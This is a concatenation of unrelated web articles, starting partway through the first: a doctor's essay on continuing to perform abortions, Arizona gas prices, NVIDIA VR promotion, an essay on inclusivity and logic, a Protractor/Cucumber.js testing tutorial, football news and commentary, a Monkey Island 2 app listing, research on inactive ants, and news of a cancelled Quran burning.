everywhere in a bulletproof truck. Our son was in tears at the service and clung to me after I spoke. My 92-year-old mother, who had worried for my safety for decades, was there — and was even more fearful that I would be next.  Why do I continue doing abortions? Because it matters.  The women need my help. A large proportion of my patients now are women with desired pregnancies who have learned late in pregnancy that the fetus is afflicted with a catastrophic anomaly or genetic abnormality. It is a wrenching personal tragedy for the women and their partners.  Performing safe abortions in a humane, dignified, and caring atmosphere matters for the health and safety of the women. It matters for the health of their families. It matters for the health of our society. And now, it matters for freedom. If women are not free to make decisions about their own lives and health, they are not free. And if women are not free, none of us are free.
-Oil prices may have moved up over the past three weeks, but that has not kept gasoline prices in some areas of the United States from staying just above $1. In one small section of Arizona, the price is $1.13, compared to the U.S. average per gallon of regular of $1.75.  Two stations in South Tucson sell a gallon of regular for $1.13. Some 23 stations have a price under $1.17. Of the 100 stations in the United States with cheapest gas, all are in Arizona, mostly around Tucson.  Gas prices are made up primarily of three things. The first is the price of oil. The next is proximity to refineries, and the last is state gas taxes and levies.  Although oil prices have recovered from under $29 a month ago to $36, they are still down by nearly half from just over a year ago. Lack of demand in major nations such as China may cap or drive prices down. Saudi Arabia continues to say it wants to maintain its market share of the global market. To do this, it will need to keep its production high. Oil from Iran has just hit Europe, after being blocked by years of sanctions.  Arizona does not have refineries of its own. However, it is relatively close to the huge cluster of refineries just south of Houston on the Gulf of Mexico, near to deepwater production platforms.  Arizona has the least expensive gas among all the states at $1.52 a gallon, according to GasBuddy. The state also has among the lowest amount for gas taxes and levies at $0.374 a gallon, compared to the national average of $0.480, according to the American Petroleum Institute. So, the contribution of the level of tax to total gas price is significant.  Based on all these factors, even if gas prices rise, Arizona’s will stay near the bottom.
-Headlines about virtual reality often focus on how it’s upending the world of gaming. But VR is also revolutionizing fields across everyday life — areas like medicine, architecture, education, product design and retailing.  A great example is Audi’s new virtual showroom, where you can explore each of their models in vivid detail through VR. The German automaker is using NVIDIA Quadro GPUs to craft a virtual showroom that lets you build custom configurations of any Audi model, and experience them in a number of environments.  Surgical Theater LLC is launching a new division focused on using their VR technology in surgery, such as for brain tumor procedures. They’re utilizing multiple NVIDIA GPUs and NVIDIA SLI technology to increase resolution and responsiveness. Surgeons, as a result, can “fly through” a patient’s anatomy prior to surgery.  And if the recent Hollywood hit “The Martian” got you pondering what it’s really like on the red planet, 20th Century Fox can help. They and partners are debuting The Martian VR Experience, an interactive, immersive VR adventure. It lets you fly onto the surface of Mars, steer at zero gravity through space, drive a rover and experience other key scenes from the film in a 360-degree VR environment. The CES demonstrations are powered by NVIDIA GPUs, delivering extremely high frame rates at high fidelity for the maximum visual experience.  These — and countless other initiatives — are coming onto the market now because of the confluence of new VR headsets and NVIDIA’s leading-edge graphics innovation.  GPUs are at the heart of VR, which demands refresh rates of up to 90 times a second for each eye. A truly immersive experience requires as much as 7x the processing power needed to display a game on a typical monitor. NVIDIA’s latest Maxwell architecture GPUs are optimized for VR performance with ultra-low latency, fast performance and new rendering capabilities specifically for VR.  Great software capabilities are also required for VR. And a number of companies are creating breakthrough new applications using NVIDIA CUDA, our parallel computing platform, and our DesignWorks VR software development kit. These innovators are merging the real world and the virtual world to create new experiences for consumers, educators, scientists and designers.  Jaunt partners with world-class creatives to produce and distribute premium cinematic VR content across a wide variety of experiences — ranging from narrative storytelling to music, travel/adventure, sports, documentary and more. Recently Jaunt has partnered with news organizations such as ABC News, SkyNews and Ryot to bring immersive 360-degree virtual reality journalism to consumers. Jaunt processes their content in the cloud using CUDA and NVIDIA GPUs, which is essential to their ability to scale and put VR content in the hands of people wherever they are.  Nurulize uses NVIDIA GPUs to process data from lidar scans to create highly detailed scene reconstructions used to bring real-world environments into the virtual world. Their Atom View technology allows vast point cloud data from the industry’s leading scanners to be imported and viewed without manual re-work or time consuming post-processing, allowing viewing within minutes rather than weeks or months.  And 8i is launching at CES their new 8i Portal VR player. They run CUDA-optimized implementations of their proprietary algorithms to maximize content throughput in creating stunning volumetric 3D videos of real people as well as using NVIDIA GPUs for high-performance VR playback.  In the areas of education and edutainment, Realities.io is providing virtual access to historical sites and inaccessible areas. Their larger-than-life journeys are created from photogrammetry, photos, videos, interactive elements and massive amounts of data. CUDA-based software from CapturingReality handles the processing and NVIDIA GPUs are used for visualization.  And in the area of product design, Ford is making VR central to their design process. With its Ford Immersive VR Environment (FiVE) capability — driven by two top-of-the-line NVIDIA Quadro M6000 cards — the automaker can evaluate vehicle prototypes in real time, in full scale and in context. It brings energy, emotion and accuracy to its immersive 3D visual environments.
-One of the greatest moral buzzwords of our age is “inclusivity.” It has become a favorite on the lips of politicians, executives, celebrities, academics, and pastors alike. Like “fairness,” “peace,” “dignity,” or “diversity,” it has quickly achieved the coveted status of moral obviousness: What kind of person could be against inclusion?  But like most obvious concepts, what inclusivity enjoys in widespread acceptance it lacks in conceptual clarity. What does it mean, specifically, to be inclusive, and how should it fit within any hierarchy of values?  What’s in a Word? Boring, but Important  Let’s start by noting some of the basic features of the concept. First, “inclusion” necessarily implies a “here” and a “there.” To include someone presumes a space exists that is already inhabited by a group that seeks to invite outsiders in. If this were not the case, inclusion would be moot.  This, of course, brings up the question of what defines “space,” the arena in which inclusion takes place. Since inclusion is usually used in reference to groups, “community” could be substituted in this context, which would mean that to include means to open one’s community to those who are outside of it.  Whatever else “community” might mean, it at least implies the existence of a collection of individuals who share some constitutive set of features that define the group as one thing rather than another: churches, political parties, fantasy football leagues, universities, etc., are all kinds of communities because they have characteristics that define them as one thing and not as another (more on this below).  The definition of inclusion could thus take this form: “I practice the value of inclusion by inviting you, who are outside of my community, into my distinctive community, which is different than any other community of which you are currently a part.”  Let’s take one more step. If inclusion is not only a value but my highest value, and, moreover, a value that I universalize, then I am furthermore committed to saying: “All people, in everything that they do, must seek to include everyone into their distinctive community with the ultimate goal of total inclusion.” This may sound innocuous enough, perhaps even morally praiseworthy. But does it pass logical muster?  Enter Aristotle  Although not the first philosopher to identify them, Aristotle neatly lays out the three foundational laws of logic in his “Metaphysics.” They include the following.  The Law of Identity: a thing is what it is. So, for example, when we point to any given thing in existence, we say that it has some constitutive feature or set of features that make it one thing and not another (like a “human being” or a “baseball bat” or an “Android phone,” etc.).  The Law of Non-Contradiction: a thing cannot both be itself and its opposite at the same time. So, for example, it would be illogical to claim that humans have some free will and no free will at the same time in the same way.  The Law of the Excluded Middle: something must either be or not be with regards to its essential characteristic or characteristics. So, to draw on the above example, there is no third option on the question of whether humans have free will or not. You cannot split the difference or take an average. It either is or it is not.  Now, Let’s Respect the Law  While “total inclusion in the community” may sound good as a fundamental moral principle, running it through the logic machine above yields some problematic results.  First, we have to recognize that defining a community requires specifying a characteristic or set of characteristics that constitute it as a particular community and not something else (the Law of Identity). For example, what makes a community of anti-war activists a community is its shared commitment to pacifism, notwithstanding any other differences among individual members. Absent this shared commitment, the community would cease to exist.  Second, we have to recognize that any given community cannot both be itself and its opposite at the same time (the Law of Non-Contradiction). For example, if the community of pacifists were to begin advocating for missile strikes in country X, they may still be able to call themselves a community, but not a pacifist community. To be a community, in other words, not only means being one thing rather than another, it also means not being able to be contradictory things at the same time, such as pacifist hawks.  Third, and similarly, we have to recognize that some features of the identity of any given community either are or are not (the Law of the Excluded Middle). Drawing on the previous example, a community cannot be “kinda pacifist” if we define pacifism as a commitment to total-nonviolence. Either it recognizes the licit use of force or it doesn’t.  In short, the three laws lead us to recognize that the whole concept of community (barring defining community as “everything in existence”) depends upon exclusion. Being a community at all requires having a unique identity that excludes other potential identities, particularly when those other identities would be contradictory or imply a degree when the reality is either/or (like a pacifist in relation to war).  This is precisely the problem with “inclusiveness” if it is defined as a community’s highest value. No matter what specific community you have in mind, a totally inclusive community—that is, a community that defines itself by the standard of inclusion—is incoherent and self-defeating.  An Example: The ‘Inclusive’ Church  To illustrate the point, let’s imagine (or think of) a Catholic church that seeks to define itself primarily according to the value of inclusivity. To achieve this goal, it not only hangs a bright “All Are Welcome Here!” banner over its entrance and invites everyone to Mass, it also invites everyone to write its liturgies, define its moral doctrines, and even to take turns being the priest, all with the goal of making everyone be and feel included in the community. Would we still be talking about a Catholic church, or even a “community” in any coherent sense?  To be an inclusive community one must be a community in the first place.  No, and one need not suffer the charge of being “non-inclusive” to say why. As the three laws illustrate, there are always some non-negotiables to the identity of any community at a definitional level, and insofar as these non-negotiables exist, the community cannot coherently welcome everyone if by “welcome” we mean “allow every individual to equally participate in” or, even, “feel comfortable in.”  In the church example, we can instructively ask whether a church that seeks to define itself as everything to everyone (a violation of the Law of Identity) is coherent; or whether a church that both recognizes all elective abortions as a sin while also recognizing the moral permissibility of elective abortions (a violation of the Law of Non-Contradiction) is coherent; or whether a church that recognizes the real presence of Christ in the Eucharist while concurrently recognizing the Eucharist as only symbolic (a violation of the Law of the Excluded Middle) is coherent.  The questions answer themselves, and the reason is because of, well, reason. To be an inclusive community one must be a community in the first place; and to be a community in the first place, one must have certain definitional criteria that follow the most basic laws of logic. Otherwise, the value of inclusion is, quite literally, nonsense, and, if followed to its (il)logical end, means demanding that communities include even those who would destroy their distinctive identities.  This is not only a bad idea from a strategic point of view, but also absurd: the “includers” would eventually become the “excluded,” and would therefore have grounds to demand that they be included in the community that now excludes them. And round and round the inclusion wheel would go.  Welcoming Exclusion for the Sake of Inclusion  It is crucial to emphasize that this is not an argument that inclusion is bad or to be avoided. The degree of balkanization we are currently witnessing in society—especially along political and cultural lines, where frictions among communities are increasing as “We are a community, therefore respect us!” claims proliferate—is also one of the great problems of our times. We have every reason to advocate for “big tent” political parties, welcoming universities, workplaces where people feel they can belong, and religious communities that extend hands to those who may feel left out.  But we have every reason to advocate for coherence, as well. Many characteristics of a community certainly are negotiable and can be flexible, even to the point of breaking, in the name of inclusion. But some things, or at least some thing, must be non-negotiable. So by all means, cast open those doors with warmth and enthusiasm. Just don’t forget that they need walls to hold them up.
-Introduction  If you develop AngularJS applications, then you have probably heard of Protractor. It is an end-to-end testing framework built specifically for AngularJS. It allows you to create tests that interact with a browser like a real user would. One of the greatest features of Protractor is its ability to “be smart” about waiting for a page to load, limiting the amount of waits and sleeps you use in your suite. Protractor is also incredibly flexible in that it allows you to incorporate different behavior-driven development (BDD) frameworks like Cucumber into your workflow. In this tutorial, you’ll learn how to implement the Cucumber.js framework with Protractor.  Protractor and BDD  Out of the box, Protractor supports Jasmine. Jasmine allows you to write your specs based on the behavior of the application. This is great for unit tests, but may not be the preferred format for business-facing users. What if your business team wants the ability to see a higher-level view of what your suite is testing against? This is where Cucumber comes in.  Cucumber is another BDD framework that focuses more on features or stories. It mimics the format of user stories and utilizes Gherkin. Cucumber provides your team with living documentation, built right into your tests, so it is a great option for incorporating with your Protractor tests. It also allows you to better organize suites of tests together with tags and hooks. Cucumber.js is the well-documented Javascript implementation of the framework and can be easily incorporated in your Protractor tests.  Prerequisites  There are a few things needed before you can work with Protractor. Make sure you have the latest versions of the following installed:  Protractor requires Node and the development kit is needed for the Selenium Server.  Starting with Protractor  Install Protractor by running npm install -g protractor . You can double- check your installation by running protractor --version .  Let’s take a look at the structure of a Protractor test. There are two core files needed for a suite to run — a spec file and a configuration file. The spec file contains the code needed to interact with the browser. The config file sets up the environment, framework, capabilities, and where to find your specs.  Below are examples of basic config and spec files:  //protractor.conf.js exports . config = { seleniumAddress : ' http://localhost:4444/wd/hub ' , specs : [ ' *.spec.js ' ], baseURL : ' http://localhost:8080/ ' , framework : ' jasmine ' , };  //test.spec.js describe ( ' Protractor Test ' , function () { var addField = element ( by . css ( ' [placeholder="add new todo here"] ' )); var checkedBox = element ( by . model ( ' todo.done ' )); var addButton = element ( by . css ( ' [value="add"] ' )); it ( ' should navigate to the AngularJS homepage ' , function () { browser . get ( ' https://angularjs.org/ ' ); //overrides baseURL }); });  The describe and it blocks within test.spec.js are specific to Jasmine, the default BDD framework for Protractor.  In order to run Protractor, you will need to first start the Selenium Server. Protractor includes a webdriver-manager tool that starts up your server. In a separate terminal tab, run the webdriver-manager update command. This downloads the necessary selenium server and chromedriver components. Then run webdriver-manager start to start up the server.  Then you can use protractor protractor.conf.js in the terminal to run the test spec. Now, let’s incorporate Cucumber features into your Protractor suite.  Cucumber Setup  Note: With the latest versions of Protractor (3.x), Cucumber is no longer included by default so you will use the custom framework option.  First, you need to install Cucumber with npm install -g cucumber . Make sure it is installed in the same place as Protractor. Next, you’ll have to install the protractor-cucumber-framework with npm install --save-dev protractor-cucumber-framework . This iteration is designed with Protractor 3.x in mind. When the installation completes, you can write out a feature. In the project, create a features folder with a test.feature feature file. All of your features will be housed in this folder.  Below is an example of a feature file:  #features/test.feature Feature: Running Cucumber with Protractor As a user of Protractor I should be able to use Cucumber In order to run my E2E tests Scenario: Protractor and Cucumber Test Given I go to "https://angularjs.org/" When I add "Be Awesome" in the task field And I click the add button Then I should see my new task in the list  Save the file and run cucumber.js to see how Cucumber processes the feature. Below is a snippet:  Feature : Running Cucumber with Protractor As a user of Protractor I should be able to use Cucumber In order to run my E2E tests Scenario : Protractor and Cucumber Test Given I go to " https://angularjs.org/ " When I add " Be Awesome " in the task field And I click the add button Then I should see my new task in the list 1 ) Scenario : Protractor and Cucumber Test - features / test . feature : 6 Step : Given I go to " https://angularjs.org/ " - features / test . feature : 7 Message : Undefined . Implement with the following snippet : this . Given ( / ^ I go to "( [ ^ "] * )" $ / , function ( arg1 , callback ) { // Write code here that turns the phrase above into concrete actions callback ( null , ' pending ' ); }); 1 scenario ( 1 undefined ) 3 steps ( 3 undefined ) 0m00 . 000s  Cucumber creates the necessary steps that your spec, called step definition, needs automatically based on the feature file.  this . Given ( / ^ I go to "( [ ^ "] * )" $ / , function ( arg1 , callback ) { // Write code here that turns the phrase above into concrete actions callback ( null , ' pending ' ); });  You can copy and paste those code snippets into a new step definition file. Save that file in a new step_definitions folder within the features folder. From there, you can write out your steps using Protractor functions and locators. Your step definition will look similar to this:  //features/step_definitions/my_step_definitions.js module . exports = function () { this . Given ( / ^ I go to "( [ ^ "] * )" $ / , function ( site , callback ) { browser . get (site) . then (callback); });  What is that .then(callback); for? It let’s Cucumber know it’s time to move on to the next step. However, asynchronous behavior sometimes isn’t needed, so omitting the callback parameters is acceptable. Read more on how Cucumber.js handles promises and asynchronous behavior in the project’s repository.  Now, in order to run these, you will need to make a few adjustments to the protractor.conf.js file. As mentioned before, Cucumber is no longer included by default for Protractor 3.x so you will pass in the custom option for your framework plus a few extras for the Cucumber framework itself.  //protractor.conf.js exports . config = { seleniumAddress : ' http://127.0.0.1:4444/wd/hub ' , getPageTimeout : 60000 , allScriptsTimeout : 500000 , framework : ' custom ' , // path relative to the current config file frameworkPath : require . resolve ( ' protractor-cucumber-framework ' ), capabilities : { ' browserName ' : ' chrome ' }, // Spec patterns are relative to this directory. specs : [ ' features/*.feature ' ], baseURL : ' http://localhost:8080/ ' , cucumberOpts : { require : ' features/step_definitions/stepDefinitions.js ' , tags : false , format : ' pretty ' , profile : false , ' no-source ' : true } };  The setup is still very similar to your original config file. To use Cucumber.js, you should update the framework and add a framework path to include the module downloaded earlier. Next, add a few cucumberOpts that specify where to find the step definition files, any necessary tags, the desired output format, and if a profile is needed.  You can now run the protractor cucumber.conf.js command and you should see a browser pop up and navigate to the desired URL. You have successfully coupled Cucumber with your Protractor tests.  Assertions: Chai and Chais-As-Promised  Since you’re using the custom framework option with Protractor you’ll need to add an assertion library like Chai — a popular choice. Chai allows us to write assertions in a simple, readable style — such as the familiar expect syntax in expect(element.getText()).to.eventually.equal('Name'); .  To install, you should run npm install chai chai-as-promised . Within the step definition file, add the following lines to the top of the file:  var chai = require ( ' chai ' ); var chaiAsPromised = require ( ' chai-as-promised ' ); chai . use (chaiAsPromised); var expect = chai . expect ;  You will now be able to include assertions in your tests. Let’s build out your previous test more to see Chai in action.  //features/step_definitions/my_step_definitions.js var chai = require ( ' chai ' ); var chaiAsPromised = require ( ' chai-as-promised ' ); chai . use (chaiAsPromised); var expect = chai . expect ; module . exports = function () { this . Given ( / ^ I go to "( [ ^ "] * )" $ / , function ( site ) { browser . get (site); }); this . When ( / ^ I add "( [ ^ "] * )" in the task field $ / , function ( task ) { element ( by . model ( ' todoList.todoText ' )). sendKeys (task); }); this . When ( / ^ I click the add button $ / , function () { var el = element ( by . css ( ' [value="add"] ' )); el . click (); }); this . Then ( / ^ I should see my new task in the list $ / , function ( callback ) { var todoList = element . all ( by . repeater ( ' todo in todoList.todos ' )); expect ( todoList . count ()). to . eventually . equal ( 3 ); expect ( todoList . get ( 2 ). getText ()). to . eventually . equal ( ' Do not Be Awesome ' ) . and . notify (callback); }); };  With this test, you should see a failed step in your output. You added “Be Awesome” to the task list, but are expecting to see “Do not Be Awesome” in the list. Your test fails as expected, with the following assertion error:  Failures : 1 ) Scenario : Protractor and Cucumber Test - features / test . feature : 6 Step : Then I should see my new task in the list - features / test . feature : 10 Step Definition : features / step_definitions / stepDefinitions . js : 23 Message : AssertionError : expected ' Be Awesome ' to equal ' Do not Be Awesome ' 1 scenario ( 1 failed) 4 steps ( 1 failed, 3 passed)  Now that Cucumber is incorporated, you can see which step failed along with the assertion error. This makes things a little easier when troubleshooting failures as it gives the context of the failure within the output. Changing “Do not Be Awesome” to “Be Awesome” should pass your test.  Tips and Tricks  Even though you have the core test structure set up now, there are a few enhancements worth considering.  Move the Chai and Chai-as-promised plugins to Cucumber’s world.js . This will keep you from having to add those to each step definition file. Check out the Cucumber.js repo for more information on support files.  . This will keep you from having to add those to each step definition file. Check out the Cucumber.js repo for more information on support files. Use Cucumber tags and profiles with protractor cucumber.conf.js --cucumberOpts.tags @tagName or protractor cucumber.conf.js --cucumberOpts.profile Name . Don’t forget to add your tags and profiles under CucumberOpts in your configuration file.  or . Don’t forget to add your tags and profiles under CucumberOpts in your configuration file. Use Page Objects in your tests. That will allow you to store each of your locators in one location, making them easier to manage. The Protractor wiki has a great resource for creating simple, efficient Page Objects.  Conclusion  To recap, you learned about the basic structures of both Protractor and Cucumber.js frameworks and how to build features that run seamlessly with the Angular testing tool. Incorporating Cucumber with Protractor is fairly simple and it gives you the opportunity to create tests that are readable for your team as well as build simple documentation for your application at the same time. Have you used Cucumber with your Protractor tests? Let us know!
-Adelaide United FC is pleased to officially announce that Spanish Forward Pablo Sánchez Alberto has signed with the Reds on a one-year deal, with the option for a second year.  Pablo Sánchez, began his football career for his hometown club, Cádiz CF. In 2004 he joined Sevilla where he spent four seasons. After a stint at Las Palmas, the 31 year old spent three seasons with Recreativo de Huelva and another season back with Cádiz CF. Last season, Pablo Sánchez played with Deportivo Lugo where he appeared 42 times in the Segunda A, and was the only player to do so.  Pablo Sánchez is a player that Head Coach Josep Gombau is excited by the level of experience and versatility he will bring to the club.  “We need a player that can play in front and also defend, a player also with experience, especially because the age of our team is so young,” said Gombau.  “In this moment we are looking for this player that can play number 9. He can also play in the middle and the wing if required.”  Pablo Sánchez has played over 200 games in the Segunda A division, playing in the style that Gombau has been trying to implement, “he is a player with experience. Last year he played 42 out of 42 games and he also played in a team that played the same style as us. All these things helped to make the decision of signing him.“  Gombau is hopeful that Pablo will be able to bring a lot to this team. He stressed the importance of bringing in experience to compensate the 5 – 6 youthful players we have. “When you have 1 or 2 injuries, you need someone who can step in and fulfil the role you need and help. He has played 329 games across both Segunda divisions so he comes with experience.”  Pablo Sánchez adds to the Reds already growing Spanish influence. Gombau has stressed the importance of signing a player who is already familiar and experienced with the style, “We are trying to play the Spanish style and to bring a player from another league who doesn’t play this style it makes it difficult. His previous coach played in the same style so it is easier for him to adapt.”  Gomabu went on to explain that, “Our club also wants to have this link with Spain. We want to build a relationship with Spain, especially through the recent Malaga game. We want to make it even bigger again next year and it’s a brand and connection we want to have and continue to grow.”  Pablo Sánchez arrived in Adelaide last night and will be joining the squad immediately to prepare for the Hyundai A-League 2014/15 season.  Adelaide United memberships for the 2014/15 Hyundai A-League season are on sale now! Click Here for more details.  Pablo SANCHEZ  Full name: Pablo Alberto Sánchez  Date of birth: 24 January 1983 (age 31)  Place of birth: Cádiz, Spain  Position: Forward  Club History  2013-2014 Deportivo Lugo  2012-2013 Cádiz CF  2009-2012 Recreativo de Huelva  2008-2009 Las Palmas  2006-2008 Sevilla Atlético  2004-2006 Sevilla B  2003-2004 Cádiz CF
-While Germany’s Rekordmeister have traditionally rolled on when first choice players were out, the absence of Bastian Schweinsteiger in the middle of the park could well prove to be devastating.  Philipp Lahm may be the captain; Manuel Neuer may be the best in the world protecting the ol’ onion bag; „Robbery“ may be the globe’s most electrifying duo with the ball at their feet; Mario Gómez may be a chance converting god amongst men; and Thomas Müller may be the team’s great hope for the future, but Bastian Schweinsteiger is the heart of Bayern München.  And with him out of the lineup until 2012, Bayern could find themselves in dire straits.  For proof, look no further than the game in which Schweinsteiger’s absence had the biggest impact.  In the first half of November 2nd’s Champions League clash, Bayern bossed Napoli in the Allianz Arena, retaining possession with ease, spraying passes all around the pitch and seeing chances created at will—culminating in a first half hat trick for the opportunistic Gómez. The Bavarians went into the break up 3-1, the only blemish coming via a free kick and the head of Federico Fernández.  Shortly after the restart however Schweinsteiger went down and the proverbial wheels came off.  Schweinsteiger’s central midfield partner, Luiz Gustavo and—his replacement—Anatoliy Tymoschuk could not sustain their club’s dominance of the middle of the park. They had trouble retaining possession; their passing was far from crisp, far from tidy; and the pair lost 50-50 balls with alarming regularity. The connection between the defence and the attack was severed and Bayern, seemingly impenetrable in the first half, were finally vulnerable.  Napoli sensed the lack of cohesion and pressed. While Bayern’s defenders held, they often resorted to fouls to keep the Italians at bay, leading to another set piece goal courtesy of Fernández’s aerial prowess in the 79th minute.  Bayern kept the chances from the run of play to a minimum though, and closed out the game for a shaky 3-2 result.  Similar symptoms ailed Bayern four days later, this time in a visit to Bundesliga minnows and Bavarian neighbors FC Augsburg.  Despite finding themselves with a 2-0 lead in the 28th minute owing to a converted corner kick and a dash of Ribéry’s class, Bayern did not boss the game as clear superiors should from there on out. Tymoschuk and Schweinsteiger replacement du jour, David Alaba kept up the disjointed midfield performance of post-injury Napoli. The defence was again isolated from the attack; passing was far from precise; 50-50 balls largely went the way of the hosts; and little fouls again became a go-to defensive tactic after Augsburg grabbed a goal back in the 59th. Bayern would hand Augsburg a golden opportunity to tie late on, but Manuel Neuer took charge and preserved the 2-1 score line, saving his club all three points.  While Bayern perhaps could be excused for performing unconvincingly after the sudden disappearance of their midfield anchor against Napoli, the chasm in talent between them and Augsburg is immeasurably vast—even without their iconic No.31, Bayern should have wiped the proverbial floor with their regional neighbors.  So far, the Schweini-less Bayern looks a far cry from the high flying side that took to Bundesliga and Europe like gangbusters to start the campaign. No combination of Alaba, Gustavo and Tymoschuk has looked the part. And let’s be honest, Augsburg is no worry for even mid table German sides. If manager Jupp Heynckes hasn’t found a cure over the international break, with the attack and defence operating on completely different wavelengths, the closeout to the year may be catastrophic.  In Germany, Bayern face Bundesliga challengers Borussia Dortmund and Werder Bremen, not to mention the quality, but streaky VfB Stuttgart and Köln. All four have the ability to make Bayern pay for midfield miscues on their day. Hell, if they put on the same show as screened in Augsburg, even the other side standing between Bayern and the holiday break, Mainz, can give the München men something to worry about.  With four teams within six points of Bayern atop the standings, these next four games without the stability Schweinsteiger brings to midfield can have huge implications in the title race.  And if that wasn’t enough, Bayern still need to snatch a point from their remaining two Champions League group stage games against Villareal and Manchester City before we all hang new calendars. Like the high caliber domestic competition that awaits, the Spanish and English challengers, too can pose a threat to Bayern’s championship hopes—these being the chance to hoist the hallowed Champions League trophy at their own Allianz Arena come May.  While we’re at it—and why not, really—there is also the matter of a DFB-Pokal date with VfL Bochum on the last match day of the year. Lose there, and another prize falls out of reach.  While betting the mortgage on it would be grounds for institutionalization, if Heynckes’ troops don’t get their act together in midfield, this year ending stretch of eight games has the potential see three separate championship dreams dissipate into the München air along with 2011.  Heynckes is confident club ambitions remain on track. Bayern faithful and interested observers, not so much.  If only the steady presence of Bastian Schweinsteiger could keep Bayern and its hopes alive…
-This app was removed from the App Store.  $2.99 was 0.99 Own Wish Buy Buy  "Now supporting iOS 4.0. Arr, the retina display be a thing o' beauty mateys."  More Pirates! More Adventure! More Monkeys! Relive the second hilarious swashbuckling misadventure of the wannabe pirate Guybrush Threepwood in signature special edition detail!  ===========  Pocket Gamer: 10/10 “Adventure gaming doesn't get any better than this.”  Game Informer: “Monkey Island 2 Special Edition: LeChuck’s Revenge is a great addition to your downloadable library.”  MixNMojo.com: “…made me feel like I was playing Monkey Island 2 for the first time.”  ===========  FEATURES:  Play it again for the first time with signature Special Edition features:  o Enhanced graphics: All new re-imagined contemporary art style.  o Voice over: Complete voice over using original Monkey Island franchise cast members brings the story and characters to life like never before, now available for both the Special Edition and Classic modes.  o Renewed music score: Re-mastered and re-recorded musical score using live instruments.  o Special Edition and Classic modes: Scene-for-scene hot swap lets you seamlessly transition between Special Edition and Classic modes at anytime during gameplay.  o Hint system: In-game puzzle hint system keeps the puzzles fresh and fun.  Plus, includes all new features:  o Direct control: Choose how you play -- use the classic point-and-click interface or the all new intuitive direct character control for a more interactive gameplay experience.  o Object highlighting: Interactive object highlighting provides quicker clues to finding hidden objects.  Show More...  What's New  "ARR! THIS BE THE SCURVY iPATCH YOU BEEN ASKIN FOR MATEYS!"  Version 1.1  - Added support for the iPhone 4 Retina display  - Adjusted timing delays for certain puzzles  - Added intro and outro credits sequences to the Classic version  - Fixed music synching issue with the Bone Dance sequence  - Added Intro Movie  - Updated front ends to use iPhone scrolling  - Classic Introduction fully viewable  - Stability improvements and other bugfixes
-If the first thing that comes to mind when you think about ants is "industrious," you might be in for a surprise. In 2015, biologists at the University of Arizona reported that a sizable chunk of the "workers" that make up an ant colony spent the vast majority of their day engaging in one task: doing absolutely nothing.  "They really just sit there," says Daniel Charbonneau, who dedicated his Ph.D. thesis to studying the behavior (or lack thereof) of these lazy ants. "And whenever they're doing anything other than doing nothing, they do chores around the nest, like a bit of brood care here or grooming another worker there."  Observing colonies of ants maintained in the lab, Charbonneau found that an average of 40 percent of individuals are mostly inactive, with some variation between seasons, colonies and species. And his ants, which belong to the species Temnothorax rugatulus, don't appear to be freaks of nature, Charbonneau says, as similar patterns can be observed in other social insects, even honey bees. Charbonneau and his doctoral adviser, Ecology and Evolutionary Biology Professor Anna Dornhaus, published those results in 2015. At the time, the researchers could only speculate over the purpose of keeping around hordes of inactive "workers."  In a new paper, published in the open-access journal PLOS ONE, authors Charbonneau, Takao Sasaki of the University of Oxford and Dornhaus show for the first time that inactive ants can act as a reserve labor force. When they removed the top 20 percent of most active workers, they found that within a week, they were replaced mostly by individuals belonging to the "lazy" demographic, which stepped up and increased their activity levels to match those of the lost workers.  "This suggests that the colony responds to the loss of highly active workers by replacing them with inactive ones," Charbonneau says.  "Serving as a replacement workforce is a long-held suspicion about the function of 'lazy' ants," adds co-author Dornhaus, "but it was just an assumption and never had been empirically confirmed."  Various functions — from storing food in their crops to laying eggs for consumption by their nest mates — had been suggested by other researchers, and Charbonneau investigated several of them through experiments involving marking individual ants in a colony and tracking their movements through video recordings.  "We apply tiny dots of paint to them," he explains. "One on head, one on thorax, and two dots on abdomen. The combination of colors and location identifies each individual, so we can track it in our video recordings."  In Arizona, colonies of this particular ant species are found at higher elevations — for example, on Mount Lemmon northeast of Tucson, where Dornhaus and her lab members go to collect them. Because the animals have rarely been studied in the wild, researchers don't know much about their life history, according to Charbonneau.  "We don't know how quickly their populations turn over in their natural habitat," he says, "but it doesn't take much for a colony to lose a bunch of workers. Since they can live for up to five years or more, they have to overwinter, and being snowed in claims many workers each season."  Analyzing the video recordings revealed that a colony breaks down into four main demographics, according to Charbonneau: inactive, lazy ants; so-called walkers that spend most of their time just wandering around the nest; foragers that take care of outside tasks such as foraging and building protective walls from tiny rocks; and nurses in charge of rearing the brood.  Charbonneau observed that the lazy ants tend to have more distended abdomens, hinting at the possibility that they could serve as "living pantries." Published in another recent paper, this observation awaits further testing to determine whether their larger circumference is a cause or a consequence of the lazier workers' lifestyle.  To see what would happen if the colony lost sizable amounts of inactive members, Charbonneau and Dornhaus did a separate experiment in which they removed the least active 20 percent. They found that those ants, unlike their top-performing peers, were not replaced.  "This suggests that workers are not switching from other task groups to replace the removed 'inactive' workers," the authors conclude, noting that the problem of adjusting supply to demand is not unique to social insects. From companies stocking supplies in warehouses to meet rising demand or employing contingent workers from external labor supply agencies, to computer systems performing better if equipped with reserve processing power, "the problem faced by all of these systems is how to optimally organize the supply or reserve workforce such as to minimize the costs of maintaining these reserves."  "My speculation is this: Since young workers start out as the most vulnerable members of the colony, it makes sense for them to lay low and be inactive," Charbonneau says. "And because their ovaries are the most active, they produce eggs, and while they're doing that, they might as well store food. When the colony loses workers, it makes sense to replace them with those ants that are not already busy pursuing other tasks."
-A Florida pastor says his church will never burn a Quran (Koran), even if a mosque is built near Ground Zero.  Pastor Terry Jones had threatened to burn the Muslim holy book on the anniversary of the Sept. 11 attacks over plans to build an Islamic center near where militants brought down the World Trade Center nine years ago.  He flew to New York and appeared on NBC's "Today" show.  He says that his church's goal was "to expose that there is an element of Islam that is very dangerous and very radical."  He told NBC that "we have definitely accomplished that mission."  He says no meeting is planned with the imam leading the center but he hopes one will take place.  Complete Coverage: 9/11 Nine Years Later  Jones' Gainesville, Fla.-based church, the Dove World Outreach Center, had said it would hold an anti-Islamic demonstration on September 11, which they designated as "International Burn-a-Quran Day," in which church members would burn copies of the Holy Book. The announcement sparked denunciations and protests around the world, including warnings by U.S. officials, religious leaders, and military leaders, who warned such a demonstration could motivate anti-American violence and jeopardize U.S. forces.  President Obama referred to the planned book burning as a "stunt" that would endanger American lives.  Jones backtracked earlier this week, and renewed his assertions that his church would not burn holy books.  "Not today, not ever," he said on "Today." "We're not going to go back and do it. It is totally canceled. We would hope that through that, that will open up a door [to] be able to talk to the Imam about the 'Ground Zero mosque.'"  Jones arrived in new York City last night, hoping to meet with leaders of 